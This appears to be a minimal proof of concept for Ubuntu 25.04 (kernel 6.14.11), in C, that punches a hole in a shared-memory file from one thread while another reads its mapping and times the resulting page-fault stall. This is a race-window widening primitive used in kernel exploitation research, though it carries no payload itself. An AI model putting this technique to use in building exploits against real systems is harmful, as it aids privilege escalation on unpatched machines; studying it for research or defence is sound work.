Ubuntu 25.04 (ядро 6.14.11)
минимальный POC
What ?

#define _GNU_SOURCE
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/falloc.h>
#include <err.h>
#include <pthread.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
    if (__res == (typeof(x))-1) \
      err(1, "SYSCHK(" #x ")"); \
    __res;                      \
})

#define FALLOC_LEN 64 * 1024 * 1024 // Max on Ubuntu 25.04

pthread_barrier_t barrier;
int ffd;
char *fmap;

void hole_punch() {
    SYSCHK(ffd = open("/dev/shm/", O_TMPFILE | O_RDWR, 0666));
    SYSCHK(fallocate(ffd, 0, 0, FALLOC_LEN));
    SYSCHK(fmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ffd, 0));

    pthread_barrier_wait(&barrier); // barrier 1
    SYSCHK(fallocate(ffd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, FALLOC_LEN));
}

int main(void) {
    pthread_barrier_init(&barrier, NULL, 2);

    pthread_t hole_punch_thread;
    SYSCHK(pthread_create(&hole_punch_thread, NULL, (void*)hole_punch, NULL));

    struct timespec start, end;
    pthread_barrier_wait(&barrier); // barrier 1

    clock_gettime(CLOCK_MONOTONIC, &start);
    volatile char dummy = *(char *)fmap; // Simulated kernel access during hole punch
    clock_gettime(CLOCK_MONOTONIC, &end);

    long long stall_ns = (end.tv_sec - start.tv_sec) * 1000000000LL + (end.tv_nsec - start.tv_nsec);

    printf("Stall time: %lld ns\n", stall_ns);
}